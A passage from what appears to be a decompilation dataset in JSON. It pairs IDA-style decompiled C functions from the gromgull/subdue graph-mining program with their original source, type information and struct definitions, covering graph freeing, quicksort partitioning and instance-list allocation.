"0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "FreeReferenceGraph", "canonical_name": "func5", "repo": "gromgull/subdue", "decompiled_code": "void __fastcall FreeReferenceGraph(void *a1)\n{\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\n\nif ( a1 )\n{\nfor ( i = 0LL; i < *(_QWORD *)a1; ++i )\nfree(*(void **)(*((_QWORD *)a1 + 2) + 40 * i + 16));\nfree(*((void **)a1 + 3));\nfree(*((void **)a1 + 2));\nfree(a1);\n}\n}\n", "canonical_decompiled_code": "void __fastcall func5(void *a1)\n{\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\n\nif ( a1 )\n{\nfor ( i = 0LL; i < *(_QWORD *)a1; ++i )\nfree(*(void **)(*((_QWORD *)a1 + 2) + 40 * i + 16));\nfree(*((void **)a1 + 3));\nfree(*((void **)a1 + 2));\nfree(a1);\n}\n}", "original_code": "void FreeReferenceGraph (ReferenceGraph *graph)\n{\n ULONG v;\n if (graph != ((void *)0))\n {\n for (v = 0; v < graph->numVertices; v++)\n free (graph->vertices[v].edges);\n free (graph->edges);\n free (graph->vertices);\n free (graph);\n }\n}", "canonical_original_code": "void FreeReferenceGraph(struct ReferenceGraph *graph)\n{\n unsigned long v;\n if (graph != ((void *)0))\n {\n for (v = 0; v < graph->numVertices; v++)\n free (graph->vertices[v].edges);\n free (graph->edges);\n free (graph->vertices);\n free (graph);\n }\n}", "variable_types": [ [ "graph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "v", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "AddRefEdgeToRefVertices", "canonical_name": "func6", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall AddRefEdgeToRefVertices(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n_QWORD *v3; // [rsp+10h] [rbp-20h]\n_QWORD *v4; // [rsp+10h] [rbp-20h]\n__int64 v5; // [rsp+18h] [rbp-18h]\n__int64 v6; // [rsp+18h] [rbp-18h]\n__int64 v7; // [rsp+20h] [rbp-10h]\n__int64 v8; // [rsp+28h] [rbp-8h]\n\nv8 = *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * a2);\nv7 = *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * a2 + 8);\nv5 = *(_QWORD *)(a1 + 16) + 40 * v8;\nv3 = realloc(*(void **)(v5 + 16), 8 * (*(_QWORD *)(v5 + 8) + 1LL));\nif ( !v3 )\nOutOfMemoryError(\"AddRefEdgeToRefVertices:edgeIndices1\");\nv3[*(_QWORD *)(v5 + 8)] = a2;\n*(_QWORD *)(v5 + 16) = v3;\n*(_BYTE *)(v5 + 33) = 1;\n++*(_QWORD *)(v5 + 8);\nresult = v8;\nif ( v8 != v7 )\n{\nv6 = *(_QWORD *)(a1 + 16) + 40 * v7;\nv4 = realloc(*(void **)(v6 + 16), 8 * (*(_QWORD *)(v6 + 8) + 1LL));\nif ( !v4 )\nOutOfMemoryError(\"AddRefEdgeToRefVertices:edgeIndices2\");\nv4[*(_QWORD *)(v6 + 8)] = a2;\n*(_QWORD *)(v6 + 16) = v4;\n*(_BYTE *)(v6 + 33) = 1;\nresult = v6;\n++*(_QWORD *)(v6 + 8);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n_QWORD *v3; // [rsp+10h] [rbp-20h]\n_QWORD *v4; // [rsp+10h] [rbp-20h]\n__int64 v5; // [rsp+18h] [rbp-18h]\n__int64 v6; // [rsp+18h] [rbp-18h]\n__int64 v7; // [rsp+20h] [rbp-10h]\n__int64 v8; // [rsp+28h] [rbp-8h]\n\nv8 = *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * a2);\nv7 = *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * a2 + 8);\nv5 = *(_QWORD *)(a1 + 16) + 40 * v8;\nv3 = realloc(*(void **)(v5 + 16), 8 * (*(_QWORD *)(v5 + 8) + 1LL));\nif ( !v3 )\nOutOfMemoryError(\"AddRefEdgeToRefVertices:edgeIndices1\");\nv3[*(_QWORD *)(v5 + 8)] = a2;\n*(_QWORD *)(v5 + 16) = v3;\n*(_BYTE *)(v5 + 33) = 1;\n++*(_QWORD *)(v5 + 8);\nresult = v8;\nif ( v8 != v7 )\n{\nv6 = *(_QWORD *)(a1 + 16) + 40 * v7;\nv4 = realloc(*(void **)(v6 + 16), 8 * (*(_QWORD *)(v6 + 8) + 1LL));\nif ( !v4 )\nOutOfMemoryError(\"AddRefEdgeToRefVertices:edgeIndices2\");\nv4[*(_QWORD *)(v6 + 8)] = a2;\n*(_QWORD *)(v6 + 16) = v4;\n*(_BYTE *)(v6 + 33) = 1;\nresult = v6;\n++*(_QWORD *)(v6 + 8);\n}\nreturn result;\n}", "original_code": "void AddRefEdgeToRefVertices(ReferenceGraph *graph, ULONG edgeIndex)\n{\n ULONG v1, v2;\n ReferenceVertex *vertex;\n ULONG *edgeIndices;\n v1 = graph->edges[edgeIndex].vertex1;\n v2 = graph->edges[edgeIndex].vertex2;\n vertex = & graph->vertices[v1];\n edgeIndices =\n (ULONG *) realloc(vertex->edges, sizeof (ULONG) * (vertex->numEdges + 1));\n if (edgeIndices == ((void *)0))\n OutOfMemoryError (\"AddRefEdgeToRefVertices:edgeIndices1\");\n edgeIndices[vertex->numEdges] = edgeIndex;\n vertex->edges = edgeIndices;\n vertex->vertexValid = 1;\n vertex->numEdges++;\n if (v1 != v2)\n {\n vertex = & graph->vertices[v2];\n edgeIndices = (ULONG *) realloc (vertex->edges,\n sizeof (ULONG) * (vertex->numEdges + 1));\n if (edgeIndices == ((void *)0))\n OutOfMemoryError (\"AddRefEdgeToRefVertices:edgeIndices2\");\n edgeIndices[vertex->numEdges] = edgeIndex;\n vertex->edges = edgeIndices;\n vertex->vertexValid = 1;\n vertex->numEdges++;\n }\n}", "canonical_original_code": "void AddRefEdgeToRefVertices(struct ReferenceGraph *graph, unsigned long edgeIndex)\n{\n unsigned long v1; unsigned long v2;\n struct ReferenceVertex *vertex;\n unsigned long *edgeIndices;\n v1 = graph->edges[edgeIndex].vertex1;\n v2 = graph->edges[edgeIndex].vertex2;\n vertex = & graph->vertices[v1];\n edgeIndices =\n (unsigned long *) realloc(vertex->edges, sizeof (ULONG) * (vertex->numEdges + 1));\n if (edgeIndices == ((void *)0))\n OutOfMemoryError (\"AddRefEdgeToRefVertices:edgeIndices1\");\n edgeIndices[vertex->numEdges] = edgeIndex;\n vertex->edges = edgeIndices;\n vertex->vertexValid = 1;\n vertex->numEdges++;\n if (v1 != v2)\n {\n vertex = & graph->vertices[v2];\n edgeIndices = (unsigned long *) realloc (vertex->edges,\n sizeof (ULONG) * (vertex->numEdges + 1));\n if (edgeIndices == ((void *)0))\n OutOfMemoryError (\"AddRefEdgeToRefVertices:edgeIndices2\");\n edgeIndices[vertex->numEdges] = edgeIndex;\n vertex->edges = edgeIndices;\n vertex->vertexValid = 1;\n vertex->numEdges++;\n }\n}", "variable_types": [ [ "graph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "edgeIndex", "unsigned long" ], [ "v1", "unsigned long" ], [ "v2", "unsigned long" ], [ "vertex", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *" ], [ "edgeIndices", "unsigned long *" ] ], "return_type": "void", "user_defined_types": [ "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "SortIndices", "canonical_name": "func7", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall SortIndices(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\n__int64 v5; // [rsp+28h] [rbp-8h]\n\nresult = a2;\nif ( a2 < a3 )\n{\nv5 = Partition(a1, a2, a3);\nSortIndices(a1, a2, v5 - 1);\nresult = SortIndices(a1, v5 + 1, a3);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\n__int64 v5; // [rsp+28h] [rbp-8h]\n\nresult = a2;\nif ( a2 < a3 )\n{\nv5 = func8(a1, a2, a3);\nfunc7(a1, a2, v5 - 1);\nresult = func7(a1, v5 + 1, a3);\n}\nreturn result;\n}", "original_code": "void SortIndices(ULONG *A, long p, long r)\n{\n long q;\n if (p < r)\n {\n q = Partition(A, p, r);\n SortIndices(A, p, q-1);\n SortIndices(A, q+1, r);\n }\n}", "canonical_original_code": "void SortIndices(unsigned long *A, long p, long r)\n{\n long q;\n if (p < r)\n {\n q = Partition(A, p, r);\n SortIndices(A, p, q-1);\n SortIndices(A, q+1, r);\n }\n}", "variable_types": [ [ "A", "unsigned long *" ], [ "p", "long" ], [ "r", "long" ], [ "q", "long" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "Partition", "canonical_name": "func8", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall Partition(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 v4; // [rsp+18h] [rbp-20h]\n__int64 v5; // [rsp+18h] [rbp-20h]\nunsigned __int64 v6; // [rsp+20h] [rbp-18h]\n__int64 i; // [rsp+28h] [rbp-10h]\n__int64 v8; // [rsp+30h] [rbp-8h]\n\nv6 = *(_QWORD *)(8 * a3 + a1);\nv8 = a2 - 1;\nfor ( i = a2; a3 > i; ++i )\n{\nif ( v6 >= *(_QWORD *)(8 * i + a1) )\n{\n++v8;\nv4 = *(_QWORD *)(8 * v8 + a1);\n*(_QWORD *)(8 * v8 + a1) = *(_QWORD *)(8 * i + a1);\n*(_QWORD *)(a1 + 8 * i) = v4;\n}\n}\nv5 = *(_QWORD *)(8 * (v8 + 1) + a1);\n*(_QWORD *)(8 * (v8 + 1) + a1) = *(_QWORD *)(8 * a3 + a1);\n*(_QWORD *)(a1 + 8 * a3) = v5;\nreturn v8 + 1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 v4; // [rsp+18h] [rbp-20h]\n__int64 v5; // [rsp+18h] [rbp-20h]\nunsigned __int64 v6; // [rsp+20h] [rbp-18h]\n__int64 i; // [rsp+28h] [rbp-10h]\n__int64 v8; // [rsp+30h] [rbp-8h]\n\nv6 = *(_QWORD *)(8 * a3 + a1);\nv8 = a2 - 1;\nfor ( i = a2; a3 > i; ++i )\n{\nif ( v6 >= *(_QWORD *)(8 * i + a1) )\n{\n++v8;\nv4 = *(_QWORD *)(8 * v8 + a1);\n*(_QWORD *)(8 * v8 + a1) = *(_QWORD *)(8 * i + a1);\n*(_QWORD *)(a1 + 8 * i) = v4;\n}\n}\nv5 = *(_QWORD *)(8 * (v8 + 1) + a1);\n*(_QWORD *)(8 * (v8 + 1) + a1) = *(_QWORD *)(8 * a3 + a1);\n*(_QWORD *)(a1 + 8 * a3) = v5;\nreturn v8 + 1;\n}", "original_code": "long Partition(ULONG *A, long p, long r)\n{\n ULONG x;\n long i,j;\n ULONG temp;\n x = A[r];\n i = p-1;\n for(j=p; j<=(r-1); j++)\n {\n if(A[j] <= x)\n {\n i++;\n temp = A[i];\n A[i] = A[j];\n A[j] = temp;\n }\n }\n temp = A[i+1];\n A[i+1] = A[r];\n A[r] = temp;\n return (i+1);\n}", "canonical_original_code": "long Partition(unsigned long *A, long p, long r)\n{\n unsigned long x;\n long i; long j;\n unsigned long temp;\n x = A[r];\n i = p-1;\n for(j=p; j<=(r-1); j++)\n {\n if(A[j] <= x)\n {\n i++;\n temp = A[i];\n A[i] = A[j];\n A[j] = temp;\n }\n }\n temp = A[i+1];\n A[i+1] = A[r];\n A[r] = temp;\n return (i+1);\n}", "variable_types": [ [ "A", "unsigned long *" ], [ "p", "long" ], [ "r", "long" ], [ "x", "unsigned long" ], [ "i", "long" ], [ "j", "long" ], [ "temp", "unsigned long" ] ], "return_type": "long", "user_defined_types": [], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "AllocateRefInstanceListNode", "canonical_name": "func9", "repo": "gromgull/subdue", "decompiled_code": "_QWORD *AllocateRefInstanceListNode()\n{\n_QWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = malloc(0x20uLL);\n*v1 = AllocateInstanceList();\nv1[1] = 0LL;\nv1[3] = 0LL;\nreturn v1;\n}\n", "canonical_decompiled_code": "_QWORD *func9()\n{\n_QWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = malloc(0x20uLL);\n*v1 = AllocateInstanceList();\nv1[1] = 0LL;\nv1[3] = 0LL;\nreturn v1;\n}", "original_code": "RefInstanceListNode *AllocateRefInstanceListNode()\n{\n RefInstanceListNode *refInstanceListNode = malloc(sizeof(RefInstanceListNode));\n refInstanceListNode->instanceList = AllocateInstanceList();\n refInstanceListNode->refGraph = ((void *)0);\n refInstanceListNode->next = ((void *)0);\n return refInstanceListNode;\n}", "canonical_original_code": "struct _ref_inst_list_node *AllocateRefInstanceListNode()\n{\n struct _ref_inst_list_node *refInstanceListNode = malloc(sizeof(RefInstanceListNode));\n refInstanceListNode->instanceList = AllocateInstanceList();\n refInstanceListNode->refGraph = ((void *)0);\n refInstanceListNode->next = ((void *)0);\n return refInstanceListNode;\n}", "variable_types": [ [ "refInstanceListNode", "struct _ref_inst_list_node { struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instanceList; struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; } *" ] ], "return_type": "struct _ref_inst_list_node { struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instanceList; struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; } *", "user_defined_types": [ "struct _ref_inst_list_node { struct InstanceList *instanceList; struct ReferenceGraph *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; }", "struct InstanceList { struct _instance_list_node *head; }", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "AllocateRefInstanceList", "canonical_name": "func10", "repo": "gromgull/subdue", "decompiled_code": "_QWORD *AllocateRefInstanceList()\n{\n_QWORD *result; // rax\n\nresult = malloc(8uLL);\n*result = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "_QWORD *func10()\n{\n_QWORD *result; // rax\n\nresult = malloc(8uLL);\n*result = 0LL;\nreturn result;\n}", "original_code": "RefInstanceList *AllocateRefInstanceList()\n{\n RefInstanceList *refInstanceList = malloc(sizeof(RefInstanceList));\n refInstanceList->head = ((void *)0);\n return refInstanceList;\n}", "canonical_original_code": "struct RefInstanceList *AllocateRefInstanceList()\n{\n struct RefInstanceList *refInstanceList = malloc(sizeof(RefInstanceList));\n refInstanceList->head = ((void *)0);\n return refInstanceList;\n}", "variable_types": [ [ "refInstanceList", "struct RefInstanceList { struct _ref_inst_list_node { struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instanceList; struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; } *head; } *" ] ], "return_type": "struct RefInstanceList { struct _ref_inst_list_node { struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instanceList; struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; } *head; } *", "user_defined_types": [ "struct RefInstanceList { struct _ref_inst_list_node *head; }", "struct _ref_inst_list_node { struct InstanceList *instanceList; struct ReferenceGraph *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; }", "struct InstanceList { struct _instance_list_node *head; }", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "FreeRefInstanceListNode", "canonical_name": "func11", "repo": "gromgull/subdue", "decompiled_code": "void __fastcall FreeRefInstanceListNode(void **a1)\n{\nFreeInstanceList(*a1);\nFreeReferenceGraph(a1[1]);\nfree(a1);\n}\n", "canonical_decompiled_code": "void __fastcall func11(void **a1)\n{\nFreeInstanceList(*a1);\nfunc5(a1[1]);\nfree(a1);\n}", "original_code": "void FreeRefInstanceListNode(RefInstanceListNode *refInstanceListNode)\n{\n FreeInstanceList(refInstanceListNode->instanceList);\n FreeReferenceGraph(refInstanceListNode->refGraph);\n free(refInstanceListNode);\n}", "canonical_original_code": "void FreeRefInstanceListNode(struct _ref_inst_list_node *refInstanceListNode)\n{\n FreeInstanceList(refInstanceListNode->instanceList);\n FreeReferenceGraph(refInstanceListNode->refGraph);\n free(refInstanceListNode);\n}", "variable_types": [ [ "refInstanceListNode", "struct _ref_inst_list_node { struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instanceList; struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; } *" ] ], "return_type": "void", "user_defined_types": [ "struct _ref_inst_list_node { struct InstanceList *instanceList; struct ReferenceGraph *refGraph; unsigned char firstPass; unsigned char doExtend; struct _ref_inst_list_node *next; }", "struct InstanceList { struct _instance_list_node *head; }", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "CopyInstance", "canonical_name": "func12", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall CopyInstance(unsigned __int64 *a1)\n{\n__int64 v2; // [rsp+10h] [rbp-10h]\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\nunsigned __int64 j; // [rsp+18h] [rbp-8h]\n\nv2 = AllocateInstance(*a1, a1[1]);\nfor ( i = 0LL; i < *a1; ++i )\n*(_QWORD *)(8 * i + *(_QWORD *)(v2 + 16)) = *(_QWORD *)(a1[2] + 8 * i);\nfor ( j = 0LL; j < a1[1]; ++j )\n*(_QWORD *)(8 * j + *(_QWORD *)(v2 + 24)) = *(_QWORD *)(a1[3] + 8 * j);\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func12(unsigned __int64 *a1)\n{\n__int64 v2; // [rsp+10h] [rbp-10h]\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\nunsigned __int64 j; // [rsp+18h] [rbp-8h]\n\nv2 = AllocateInstance(*a1, a1[1]);\nfor ( i = 0LL; i < *a1; ++i )\n*(_QWORD *)(8 * i + *(_QWORD *)(v2 + 16)) = *(_QWORD *)(a1[2] + 8 * i);\nfor ( j = 0LL; j < a1[1]; ++j )\n*(_QWORD *)(8 * j + *(_QWORD *)(v2 + 24)) = *(_QWORD *)(a1[3] + 8 * j);\nreturn v2;\n}", "original_code": "Instance *CopyInstance(Instance *instance)\n{\n Instance *newInstance;\n ULONG i;\n newInstance = AllocateInstance(instance->numVertices, instance->numEdges);\n for (i = 0; i < instance->numVertices; i++)\n newInstance->vertices[i] = instance->vertices[i];\n for (i = 0; i < instance->numEdges; i++)\n newInstance->edges[i] = instance->edges[i];\n return newInstance;\n}", "canonical_original_code": "struct _instance *CopyInstance(struct _instance *instance)\n{\n struct _instance *newInstance;\n unsigned long i;\n newInstance = AllocateInstance(instance->numVertices, instance->numEdges);\n for (i = 0; i < instance->numVertices; i++)\n newInstance->vertices[i] = instance->vertices[i];\n for (i = 0; i < instance->numEdges; i++)\n newInstance->edges[i] = instance->edges[i];\n return newInstance;\n}", "variable_types": [ [ "instance", "struct _instance *" ], [ "newInstance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "i", "unsigned long" ] ], "return_type": "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *", "user_defined_types": [ "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "VertexInSubList", "canonical_name": "func13", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall VertexInSubList(__int64 *a1, __int64 a2)\n{\n__int64 i; // [rsp+28h] [rbp-8h]\n\nif ( !a1 )\n{\nputs(\"Best SubList is null\");\nexit(0);\n}\nfor ( i = *a1; i; i = *(_QWORD *)(i + 8) )\n{\nif ( (unsigned __int8)VertexInSub(**(_QWORD **)i, a2) )\nreturn 1LL;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func13(__int64 *a1, __int64 a2)\n{\n__int64 i; // [rsp+28h] [rbp-8h]\n\nif ( !a1 )\n{\nputs(\"Best SubList is null\");\nexit(0);\n}\nfor ( i = *a1; i; i = *(_QWORD *)(i + 8) )\n{\nif ( (unsigned __int8)func14(**(_QWORD **)i, a2) )\nreturn 1LL;\n}\nreturn 0LL;\n}", "original_code": "BOOLEAN VertexInSubList(SubList *subList, Vertex *vertex)\n{\n SubListNode *subListNode;\n Substructure *sub;\n 